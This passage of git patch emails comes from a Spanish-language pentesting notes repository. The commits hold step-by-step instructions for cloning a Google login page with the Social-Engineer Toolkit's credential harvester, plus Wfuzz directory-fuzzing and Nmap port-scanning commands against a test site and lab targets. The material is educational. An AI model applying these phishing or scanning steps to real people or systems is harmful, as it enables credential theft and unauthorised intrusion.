+finalidad de mostrar como actúan los cibercriminales. Dicho esto vamos a ver el ejemplo. ### Crear página de inicio de sesión de Google: @@ -96,13 +96,13 @@ Ejecutamos la herramienta y seguimos los siguientes pasos: La herramienta que vamos a utilizar es la `Social-Engienering Attacks` que corresponde al número `1`. Tener en cuenta que los números pueden -variar en función de la versión ya que periodicamente se incluyen herramientas y funciones. Introducimos `1` y pulsamos `Enter`: +variar en función de la versión, ya que periódicamente se incluyen herramientas y funciones. Introducimos `1` y pulsamos `Enter`: 1 ![Captura de pantalla -2022-05-07 12-03-51](https://user-images.githubusercontent.com/103068924/167250899-22e40731-f986-49bb-8770-fc69cc8c116b.png) -Ahora vamos a seleccionar el metodo de ataque `Website Attack Vectors` que me corresponde con el número `2`: +Ahora vamos a seleccionar el método de ataque `Website Attack Vectors` que me corresponde con el número `2`: 2 @@ -115,15 +115,15 @@ utilizaremos el modo `Credential Harvester Attack Method` que corresponde con el ![Captura de pantalla -2022-05-07 12-05-00](https://user-images.githubusercontent.com/103068924/167251054-2845cb88-ef30-4c65-b09d-b16145fae9f1.png) -Ya lo tenemos casi, solo nos queda especificar que clase de página vamos a mostrar. Como veis tambien nos da la opción `2` que es la de clonar +Ya lo tenemos casi, solo nos queda especificar que clase de página vamos a mostrar. Como veis también nos da la opción `2` que es la de clonar algún sitio web y así ajustarse más al tipo de víctima. En nuestro caso vamos a seleccionar la opción `1` que ya nos muestra algunas páginas web -que la herramienta nos muestra de serie, aśi que seleccionaremos `Web Templates`: +que la herramienta nos muestra de serie, así que seleccionaremos `Web Templates`: 1 ![Captura de pantalla -2022-05-07 12-06-26](https://user-images.githubusercontent.com/103068924/167251456-d2a336e5-e0af-4c42-a658-febfdfe64f0f.png) -Vemos como la misma herramienta nos muestra tres opciones predefinidas, `Java`, `Google` y `Twitter`. Vamos utilizar la de `Google` así que marcamos +Vemos como la misma herramienta nos muestra tres opciones predefinidas, `Java`, `Google` y `Twitter`. Vamos a utilizar la de `Google` así que marcamos la `2`. ![Captura de pantalla -2022-05-07 12-06-43](https://user-images.githubusercontent.com/103068924/167251217-4f4929d6-6c91-43fe-971c-9c5e069937e1.png) @@ -132,8 +132,8 @@ En caso de preguntarnos si utilizamos NAT se lo indicamos y luego simplemente pr ![Captura de pantalla -2022-05-07 12-08-14](https://user-images.githubusercontent.com/103068924/167251508-2b5246f0-f6fc-4ed3-a212-375c66b1b88b.png) -La página ya esta completamente funcional, ahora simplemente nos dirigimos a un navegador, en mi caso firefox y para ejecutar la página escribimos -`localhost` o `127.0.0.1` que es donde se aloja la página de forma predeterminada. Esto podemos cambiralo pero para este tutorial nos sobrará. +La página ya está completamente funcional, ahora simplemente nos dirigimos a un navegador, en mi caso Firefox y para ejecutar la página escribimos +`localhost` o `127.0.0.1` que es donde se aloja la página de forma predeterminada. Esto podemos cambiarlo, pero para este tutorial nos sobrará. Vamos al navegador y abrimos la página: ![Captura de pantalla -2022-05-07 12-08-42](https://user-images.githubusercontent.com/103068924/167251622-431634e3-348c-4e9a-83d2-61c668831ec9.png) @@ -145,8 +145,8 @@ Vamos al navegador y abrimos la página: ![Captura de pantalla -2022-05-07 12-09-11](https://user-images.githubusercontent.com/103068924/167251634-4a089f24-3f1a-4fb4-86a9-67dbc21332f1.png) -Como vemos la página es muy realista, ahora simplemente escribimos unas credenciales (no tienen poque ser validas, el programa nos reportara todo -lo que se escriba). Para que se vea que esto funciona independientemente de la dificultad de la contraseña, hemos introducido una password con +Como vemos la página es muy realista, ahora simplemente escribimos unas credenciales (no tienen por qué ser válidas, el programa nos reportara todo +lo que se escriba). Para que se vea que esto funciona independientemente de la dificultad de la contraseña, hemos introducido un password con variedad de caracteres. ![Captura de pantalla -2022-05-07 12-10-00](https://user-images.githubusercontent.com/103068924/167251722-c20563b1-2765-41fc-a781-8ec01110a1b4.png) From 3f3b687e1da13848ac5c6f35397033aa24535c1d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 07:06:08 +0200 Subject: [PATCH 0222/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 37 +++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index 5b95dc38ca5..22b6eec9dfe 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -12,3 +12,40 @@ Una carga útil en Wfuzz es una fuente de datos. Este concepto simple permite inyectar cualquier entrada en cualquier campo de una solicitud HTTP, lo que permite realizar complejos ataques de seguridad web en diferentes componentes de la aplicación web, como: parámetros, autenticación, formularios, directorios/archivos, encabezados, etc. + +## Diccionarios y Listas de Palabras: + +En caso de utilizar Kali Linux o ParroOS suelen tener incluidos el repositorio `wordlists` el cual incluye una variedad de diccionarios o listas de +palabras de dinstintos tamaños. Este repositorio se encuentra en el direcctorio `/usr/share/wordlists`. + +![Captura de pantalla -2022-05-09 06-58-59](https://user-images.githubusercontent.com/103068924/167343931-14b023c8-3260-44da-9b50-62586e56db8f.png) + +Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo sisguiente: + + sudo apt install wordlists + + +## Ejecución Básica: + +Una ejecución de línea de comando típica de Wfuzz, que especifica una carga de diccionario y una URL, se ve así: + + wfuzz -w [Ruta del Diccionario] [Url Víctima] + + wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ + +`-w` : Especifica un diccionario (Lista de palabras). + + + + + + + +![Captura de pantalla -2022-05-09 06-45-44](https://user-images.githubusercontent.com/103068924/167342418-da9eb2b7-3f2a-446b-b5af-5892d1da0fd6.png) + +Podemos ver los siguientes parámetros en la respuesta: + +![Captura de pantalla -2022-05-09 06-46-33](https://user-images.githubusercontent.com/103068924/167342497-c9bf20af-e69b-4515-92e5-3ed86fe922d1.png) + + + From c03f4a64c5e62561195810878de978138c709277 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 07:09:13 +0200 Subject: [PATCH 0223/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index 22b6eec9dfe..535a7cb12a1 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -20,6 +20,12 @@ palabras de dinstintos tamaños. Este repositorio se encuentra en el direcctorio ![Captura de pantalla -2022-05-09 06-58-59](https://user-images.githubusercontent.com/103068924/167343931-14b023c8-3260-44da-9b50-62586e56db8f.png) +![Captura de pantalla -2022-05-09 07-01-52](https://user-images.githubusercontent.com/103068924/167344140-af2eb436-c3ab-4204-8f9f-121c306782bc.png) + +![Captura de pantalla -2022-05-09 07-02-21](https://user-images.githubusercontent.com/103068924/167344168-2b83b1e0-0854-4421-82e9-9b9242dca851.png) + +![Captura de pantalla -2022-05-09 07-03-15](https://user-images.githubusercontent.com/103068924/167344175-48c8a65e-f043-4efc-9c4d-a00d97b83830.png) + Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo sisguiente: sudo apt install wordlists @@ -34,18 +40,26 @@ Una ejecución de línea de comando típica de Wfuzz, que especifica una carga d wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ `-w` : Especifica un diccionario (Lista de palabras). - - - - - - - + ![Captura de pantalla -2022-05-09 06-45-44](https://user-images.githubusercontent.com/103068924/167342418-da9eb2b7-3f2a-446b-b5af-5892d1da0fd6.png) Podemos ver los siguientes parámetros en la respuesta: ![Captura de pantalla -2022-05-09 06-46-33](https://user-images.githubusercontent.com/103068924/167342497-c9bf20af-e69b-4515-92e5-3ed86fe922d1.png) - +La salida de Wfuzz permite analizar las respuestas del servidor web y filtrar los resultados deseados en función del mensaje de respuesta HTTP obtenido, por ejemplo, códigos de respuesta, longitud de respuesta, etc. + +Cada línea proporciona la siguiente información: + +`ID` : El número de solicitud en el orden en que se realizó. + +`Respuesta:` muestra el código de respuesta HTTP. + +`Líneas:` Muestra el número de líneas en la respuesta HTTP. + +`Palabra:` Muestra el número de palabras en la respuesta HTTP. + +`Chars:` Muestra el número de caracteres en la respuesta HTTP. + +`Carga útil:` Muestra la carga útil utilizada. From bd4888e03b78490e87bfc51ffd0e0594992c667d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 07:19:50 +0200 Subject: [PATCH 0224/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index 535a7cb12a1..6c8a69db983 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -30,6 +30,16 @@ Para descargar el repositorio con todos los diccionarios simplemente ejecutamos sudo apt install wordlists +## Optener ayuda: + +Use el interruptor `–h` y `–help` para obtener el uso de ayuda básica y avanzada respectivamente. + +Wfuzz es un marco completamente modular, puede verificar los módulos disponibles usando el interruptor `-e iterators`: + +![Captura de pantalla -2022-05-09 07-18-22](https://user-images.githubusercontent.com/103068924/167345166-41e40d2a-98fd-4747-9d25-c7ba9c89d95c.png) + +Las categorías válidas son: ´cargas útiles´, ´codificadores´, ´iteradores´, ´impresoras´ o ´scripts´. + ## Ejecución Básica: @@ -63,3 +73,4 @@ Cada línea proporciona la siguiente información: `Carga útil:` Muestra la carga útil utilizada. + From 9a6093899092f98f91bcf153ff297079bf1b2038 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 08:06:52 +0200 Subject: [PATCH 0225/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 73 ++++++++++++++++++++++++++++++++- 1 file changed, 71 insertions(+), 2 deletions(-) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index 6c8a69db983..90f1284184c 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -30,6 +30,26 @@ Para descargar el repositorio con todos los diccionarios simplemente ejecutamos sudo apt install wordlists +## Payloads/Cargas Útiles: + +Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. Una `carga útil` más conocida como `payload` en Wfuzz es una fuente de datos de entrada y se especifica meidiante `-z`: + +Las cargas útiles disponibles se pueden listar ejecutando: + + wfuzz -e payloads + +![Captura de pantalla -2022-05-09 07-30-49](https://user-images.githubusercontent.com/103068924/167346305-cd82d0a9-b840-4944-9237-2f27be89c565.png) + +Se puede obtener información detallada sobre las cargas útiles ejecutando: + + wfuzz -z help + +Este último se puede filtrar usando el parámetro `--slice`: + + wfuzz -z help --slice "dirwalk" + +![Captura de pantalla -2022-05-09 07-34-57](https://user-images.githubusercontent.com/103068924/167346718-14049e7c-e687-4376-bc97-21fa0a000df2.png) + ## Optener ayuda: Use el interruptor `–h` y `–help` para obtener el uso de ayuda básica y avanzada respectivamente. @@ -39,9 +59,32 @@ Wfuzz es un marco completamente modular, puede verificar los módulos disponible ![Captura de pantalla -2022-05-09 07-18-22](https://user-images.githubusercontent.com/103068924/167345166-41e40d2a-98fd-4747-9d25-c7ba9c89d95c.png) Las categorías válidas son: ´cargas útiles´, ´codificadores´, ´iteradores´, ´impresoras´ o ´scripts´. + +## Filtros: + +Filtrar resultados en Wfuzz es primordial: + +Los diccionarios grandes pueden generar una gran cantidad de resultados y pueden ahogar fácilmente los resultados válidos legítimos. +La clasificación de las respuestas HTTP es clave para realizar algunos ataques, por ejemplo, para verificar la presencia de una vulnerabilidad de inyección SQL, debemos distinguir una respuesta legítima de la que genera un error o datos diferentes. +Wfuzz permite filtrar según el código de respuesta HTTP y la longitud de la información recibida (en forma de palabras, caracteres o líneas). También se pueden utilizar expresiones regulares. Se pueden tomar dos enfoques: mostrar u ocultar los resultados que coinciden con un filtro determinado. + + +## Ocultar respuestas + +Los siguientes parámetros de la línea de comandos se pueden usar para ocultar ciertas respuestas HTTP `–hc`, `–hl`, `–hw`, `–hh`. + +El comando `--hc` filtra los recursos web desconocidos por el servidor web ( http://en.wikipedia.org/wiki/HTTP_404 ), básicamente suprime las ṕaginas +que reportar `error 404`: + + wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ + +Se pueden especificar múltiples valores, por ejemplo, la siguiente ejecución de wfuzz agrega los recursos prohibidos al filtro: + + wfuzz -w wordlist/general/common.txt --hc 404,403 http://testphp.vulnweb.com/FUZZ +Las líneas, palabras o caracteres son útiles cuando buscamos recursos con el mismo código de estado HTTP. Por ejemplo, es un comportamiento común (a veces debido a una configuración incorrecta) que los servidores web devuelvan una página de error personalizada con un código de respuesta 200, esto se conoce como 404 suave. -## Ejecución Básica: +# Ejecución Básica: Una ejecución de línea de comando típica de Wfuzz, que especifica una carga de diccionario y una URL, se ve así: @@ -71,6 +114,32 @@ Cada línea proporciona la siguiente información: `Chars:` Muestra el número de caracteres en la respuesta HTTP. -`Carga útil:` Muestra la carga útil utilizada. +`Carga útil:` Muestra la carga útil utilizada. + +# Ejecución Carga Útil: + +Cada palabra clave FUZZ debe tener su carga ùtil (payload) correspondiente. Hay varias formas equivalentes de especificar una `payload`: + +### Ejecución Básica: + + wfuzz -w [Ruta del Diccionario] [URL Víctima] + +### Ejecución definiendo el valor del Payload: + + wfuzz -z file,wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ + +`-z` : Especifica el valor del parámetro predeterminado del payload. + + + + + + + + + + + + From a5243e27efd35492e9ead570ff56fbb3cfdcb818 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 08:28:42 +0200 Subject: [PATCH 0226/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index 90f1284184c..dd50bcf8c3e 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -16,7 +16,7 @@ de seguridad web en diferentes componentes de la aplicación web, como: parámet ## Diccionarios y Listas de Palabras: En caso de utilizar Kali Linux o ParroOS suelen tener incluidos el repositorio `wordlists` el cual incluye una variedad de diccionarios o listas de -palabras de dinstintos tamaños. Este repositorio se encuentra en el direcctorio `/usr/share/wordlists`. +palabras de distintos tamaños. Este repositorio se encuentra en el directorio `/usr/share/wordlists`. ![Captura de pantalla -2022-05-09 06-58-59](https://user-images.githubusercontent.com/103068924/167343931-14b023c8-3260-44da-9b50-62586e56db8f.png) @@ -26,13 +26,13 @@ palabras de dinstintos tamaños. Este repositorio se encuentra en el direcctorio ![Captura de pantalla -2022-05-09 07-03-15](https://user-images.githubusercontent.com/103068924/167344175-48c8a65e-f043-4efc-9c4d-a00d97b83830.png) -Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo sisguiente: +Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo siguiente: sudo apt install wordlists ## Payloads/Cargas Útiles: -Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. Una `carga útil` más conocida como `payload` en Wfuzz es una fuente de datos de entrada y se especifica meidiante `-z`: +Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. Una `carga útil` más conocida como `payload` en Wfuzz es una fuente de datos de entrada y se especifica mediante `-z`: Las cargas útiles disponibles se pueden listar ejecutando: @@ -50,7 +50,7 @@ Este último se puede filtrar usando el parámetro `--slice`: ![Captura de pantalla -2022-05-09 07-34-57](https://user-images.githubusercontent.com/103068924/167346718-14049e7c-e687-4376-bc97-21fa0a000df2.png) -## Optener ayuda: +## Obtener ayuda: Use el interruptor `–h` y `–help` para obtener el uso de ayuda básica y avanzada respectivamente. @@ -73,7 +73,7 @@ Wfuzz permite filtrar según el código de respuesta HTTP y la longitud de la in Los siguientes parámetros de la línea de comandos se pueden usar para ocultar ciertas respuestas HTTP `–hc`, `–hl`, `–hw`, `–hh`. -El comando `--hc` filtra los recursos web desconocidos por el servidor web ( http://en.wikipedia.org/wiki/HTTP_404 ), básicamente suprime las ṕaginas +El comando `--hc` filtra los recursos web desconocidos por el servidor web ( http://en.wikipedia.org/wiki/HTTP_404 ), básicamente suprime las páginas que reportar `error 404`: wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ @@ -82,7 +82,9 @@ Se pueden especificar múltiples valores, por ejemplo, la siguiente ejecución d wfuzz -w wordlist/general/common.txt --hc 404,403 http://testphp.vulnweb.com/FUZZ -Las líneas, palabras o caracteres son útiles cuando buscamos recursos con el mismo código de estado HTTP. Por ejemplo, es un comportamiento común (a veces debido a una configuración incorrecta) que los servidores web devuelvan una página de error personalizada con un código de respuesta 200, esto se conoce como 404 suave. +Las líneas, palabras o caracteres son útiles cuando buscamos recursos con el mismo código de estado HTTP. + +Por ejemplo, es un comportamiento común (a veces debido a una configuración incorrecta) que los servidores web devuelvan una página de error personalizada con un código de respuesta 200, esto se conoce como `soft 404`. # Ejecución Básica: @@ -118,18 +120,29 @@ Cada línea proporciona la siguiente información: # Ejecución Carga Útil: -Cada palabra clave FUZZ debe tener su carga ùtil (payload) correspondiente. Hay varias formas equivalentes de especificar una `payload`: +Cada palabra clave FUZZ debe tener su carga útil (payload) correspondiente. Hay varias formas equivalentes de especificar una `payload`: ### Ejecución Básica: wfuzz -w [Ruta del Diccionario] [URL Víctima] +`-w` : Especifica un diccionario (Lista de palabras). + ### Ejecución definiendo el valor del Payload: - wfuzz -z file,wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ + wfuzz -z [Ruta del Diccionario] [URL Víctima] `-z` : Especifica el valor del parámetro predeterminado del payload. +### Ejecución filtrada omitiendo servicios web desconocidos: + + wfuzz -w [Ruta del Diccionario] --hc 404,403 [URL Víctima] + +`-w` : Especifica un diccionario (Lista de palabras). + +`--hc` : Omite los resultados HTTP especificados, en este caso las páginas con servicios 404 (servidor no encontrado) y 403 (sin permisos de acceso). + + From 1feb158bc6f802a525752a7c436f88001013f62c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 08:55:24 +0200 Subject: [PATCH 0227/1701] Update Bluetoothctl.md --- "Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" index 600621b87e3..647f5ef55c7 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Bluetoothctl.md" @@ -39,7 +39,7 @@ Para conectarnos con un dispositivo: connect [Núm. MAC] -El `número MAC` es el número que corresponde con el dispositivo que se nos muestra en el escaneo. +El `número MAC` es el número que corresponde con el dispositivo que se nos muestra en el escaneo. Una vez conectados podemos salir de la shell simplemente escribiendo `exit`. From 95d673c53f0fc73647f6cd5153a0eed5d1afb29f Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:01:21 +0200 Subject: [PATCH 0228/1701] Create Nmap.md --- Herramientas_y_Scripts/Nmap.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 Herramientas_y_Scripts/Nmap.md diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md new file mode 100644 index 00000000000..41863d151e1 --- /dev/null +++ b/Herramientas_y_Scripts/Nmap.md @@ -0,0 +1,2 @@ +# NMAP + From 829f001a3bab933ab2ac7d85ce51807c8ea1cbab Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:03:06 +0200 Subject: [PATCH 0229/1701] Update Wfuzz.md --- Herramientas_y_Scripts/Wfuzz.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Herramientas_y_Scripts/Wfuzz.md b/Herramientas_y_Scripts/Wfuzz.md index dd50bcf8c3e..5475f77b78d 100644 --- a/Herramientas_y_Scripts/Wfuzz.md +++ b/Herramientas_y_Scripts/Wfuzz.md @@ -141,6 +141,8 @@ Cada palabra clave FUZZ debe tener su carga útil (payload) correspondiente. Hay `-w` : Especifica un diccionario (Lista de palabras). `--hc` : Omite los resultados HTTP especificados, en este caso las páginas con servicios 404 (servidor no encontrado) y 403 (sin permisos de acceso). + +Se puede encontr mucha más información sobre esta herramienta en su página: [https://wfuzz.readthedocs.io/en/latest/user/getting.html](https://wfuzz.readthedocs.io/en/latest/user/getting.html) From a80d14692d1c9d844bb3e5bb834e291f0fcc5d7a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:22:56 +0200 Subject: [PATCH 0230/1701] Update Fase_de_reconocimiento-HTB.md --- .../Fase_de_reconocimiento-HTB.md" | 50 +++++++++---------- 1 file changed, 23 insertions(+), 27 deletions(-) diff --git "a/Art\303\255culos/Fase_de_reconocimiento-HTB.md" "b/Art\303\255culos/Fase_de_reconocimiento-HTB.md" index 6d41e7b2194..133c2f5ff85 100644 --- "a/Art\303\255culos/Fase_de_reconocimiento-HTB.md" +++ "b/Art\303\255culos/Fase_de_reconocimiento-HTB.md" @@ -19,9 +19,9 @@ Para verificar la conexión y tener una primera toma de - contacto utilizaremos el comando 'ping'. + contacto utilizaremos el comando `ping`. - ping [Ip Víctima] + ping [Ip Víctima] Mediante este comando podemos obtener la siguiente información: @@ -36,7 +36,7 @@ --- -## NMAP +## [NMAP](../Herramientas_y_Scripts/Nmap.html) Tras conocer la máquina a la que nos enfrentamos pasaremos analizar los protocolos tcp/udp. @@ -48,54 +48,50 @@ será un análisis de todos los puertos abiertos del protocolo tcp. - nmap -p- --open -T5 -v -n [Ip] + nmap -p- --open -T5 -v -n [Ip] - -p- : Escanea todo el rango de puertos. +`-p-` : Escanea todo el rango de puertos. - --open : Solo nos mostrará puertos con el estatus - abierto. +`--open` : Solo nos mostrará puertos con el estatus abierto. - -T5 : Controla el tiempo y el rendimiento del - escaneo donde 1 es el más lento y 5 el - más rápido. +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. - -v : Verbose. Recopila los puertos abiertos por - TCP y los reporta por consola. - - -n : Anula la resolución DNS. +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. Ahora para poder trabajar mejor, exportaremos una lista - en formato Grepeable al archivo 'allPorts' + en formato Grepeable al archivo `allPorts`. - nmap -p- --open -T5 -v -n [Ip] -oG allPorts + nmap -p- --open -T5 -v -n [Ip] -oG allPorts - -oG : Exportar los resultados en formato grepeable. +`-oG` : Exportar los resultados en formato grepeable. - allPorts : Nombre del archivo. Si no existe lo creará. +`allPorts` : Nombre del archivo. Si no existe lo creará. De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. --- -## NMAP +## [NMAP](../Herramientas_y_Scripts/Nmap.html) -ESCANEO EXHAUSTIVO: +### ESCANEO EXHAUSTIVO: Tras conocer los puertos TCP abiertos, realizaremos un segundo escaneo enfocado en los puertos abiertos para ver la información que nos reportan y exportarlo en formato nmap al archivo 'targed'. - nmap -sC -sV -p[Port1,Port2] -oN targed + nmap -sC -sV -p[Port1,Port2] -oN targed - -sC : Lanza scrips básicos de reconocimiento. +`-sC` : Lanza scrips básicos de reconocimiento. - -sV : Localiza la versión y servicio de los puertos definidos. +`-sV` : Localiza la versión y servicio de los puertos definidos. - -p : Puertos a escanear. Ej: -p22,80 +`-p` : Puertos a escanear. Ej: -p22,80 - -oN : Reporta los resultados en formato nmap al archivo 'targed'. +`-oN` : Reporta los resultados en formato nmap al archivo `targed`. --- @@ -106,9 +102,9 @@ ESCANEO EXHAUSTIVO: el gestor de contenido de la Ip. Nos reportará información varia del sistema. - whatweb http://[Ip] + whatweb http://[Ip] - whatweb http://[Host] + whatweb http://[Host] From a094c234db1ea264d17a80e1e58832abcc27e615 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:23:08 +0200 Subject: [PATCH 0231/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 43 ++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index 41863d151e1..4e5a00bd8cb 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -1,2 +1,45 @@ +![Logo-Nmap-800x388](https://user-images.githubusercontent.com/103068924/167357897-d229ec85-4beb-4811-aa23-839ee5846311.png) + # NMAP +Nmap es un programa de código abierto que sirve para efectuar rastreo de puertos y cuyo desarrollo se encuentra hoy a cargo de una comunidad. Fue creado originalmente para Linux aunque actualmente es multiplataforma. Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática, para ello Nmap envía unos paquetes definidos a otros equipos y analiza sus respuestas. + +Este software posee varias funciones para sondear redes de computadores, incluyendo detección de equipos, servicios y sistemas operativos. Estas funciones son extensibles mediante el uso de scripts para proveer servicios de detección avanzados, detección de vulnerabilidades y otras aplicaciones. Además, durante un escaneo, es capaz de adaptarse a las condiciones de la red incluyendo latencia y congestión de la misma. + +### Escaneo Básico: + + nmap -p- --open -T5 -v -n [Ip] + +`-p-` : Escanea todo el rango de puertos. + +`--open` : Solo nos mostrará puertos con el estatus abierto. + +`-T5` : Controla el tiempo y el rendimiento del escaneo donde 1 es el más lento y 5 el más rápido. + +`-v` : Verbose. Recopila los puertos abiertos por TCP y los reporta por consola. + +`-n` : Anula la resolución DNS. + + +### Escaneo Básico Guardando los resultados: + + nmap -p- --open -T5 -v -n [Ip] -oG allPorts + +`-oG` : Exportar los resultados en formato grepeable. + +`allPorts` : Nombre del archivo. Si no existe lo creará. + +De esta manera podremos revisar los puertos que estaban abiertos en cualquier momento. + +### Escaneo exahustivo de Puertos definidos: + + nmap -sC -sV -p[Port1,Port2] -oN targed + +`-sC` : Lanza scrips básicos de reconocimiento. + +`-sV` : Localiza la versión y servicio de los puertos definidos. + +`-p` : Puertos a escanear. Ej: -p22,80 + +`-oN` : Reporta los resultados en formato nmap al archivo `targed`. + From e22a68f157ed9e08d4d6cc58ad6809f61192c9b5 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:24:47 +0200 Subject: [PATCH 0232/1701] Update Nmap.md --- Herramientas_y_Scripts/Nmap.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Herramientas_y_Scripts/Nmap.md b/Herramientas_y_Scripts/Nmap.md index 4e5a00bd8cb..6158b10f318 100644 --- a/Herramientas_y_Scripts/Nmap.md +++ b/Herramientas_y_Scripts/Nmap.md @@ -8,7 +8,7 @@ Este software posee varias funciones para sondear redes de computadores, incluye ### Escaneo Básico: - nmap -p- --open -T5 -v -n [Ip] + nmap -p- --open -T5 -v -n [Ip] `-p-` : Escanea todo el rango de puertos. From c4d284a2728968848492251a579de797b498cc67 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:27:30 +0200 Subject: [PATCH 0233/1701] Update index.md --- index.md | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index 4756c2af332..4df30929601 100644 --- a/index.md +++ b/index.md @@ -28,9 +28,10 @@ ## Reporte y reconocimiento: Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. -1.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) -2.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) -3.[mkt](./Herramientas_y_Scripts/mkt.html) +1.[Nmap](../Herramientas_y_Scripts/Nmap.html) +2.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) +3.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) +4.[mkt](./Herramientas_y_Scripts/mkt.html) ## Shells: Herramientas para crear shells inversas. From 22142388f3bb8307c5ed8f9c042c873aeec389b7 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Mon, 9 May 2022 09:28:18 +0200 Subject: [PATCH 0234/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 4df30929601..32b1a59fb2f 100644 --- a/index.md +++ b/index.md @@ -28,7 +28,7 @@ ## Reporte y reconocimiento: Herramientas útiles para la fase de reconocimiento, como reportes de SO o recopilación de puertos. -1.[Nmap](../Herramientas_y_Scripts/Nmap.html) +1.[Nmap](../Herramientas_y_Scripts/Nmap.html) 2.[WichSystem](./Herramientas_y_Scripts/WichSystem.html) 3.[ExtractPorts](./Herramientas_y_Scripts/ExtractPorts.html) 4.[mkt](./Herramientas_y_Scripts/mkt.html) From 918bd9533e0d52c025619828acba411ab7c0c8e4 Mon Sep 17 00:00:00 2001 From: F1r0x 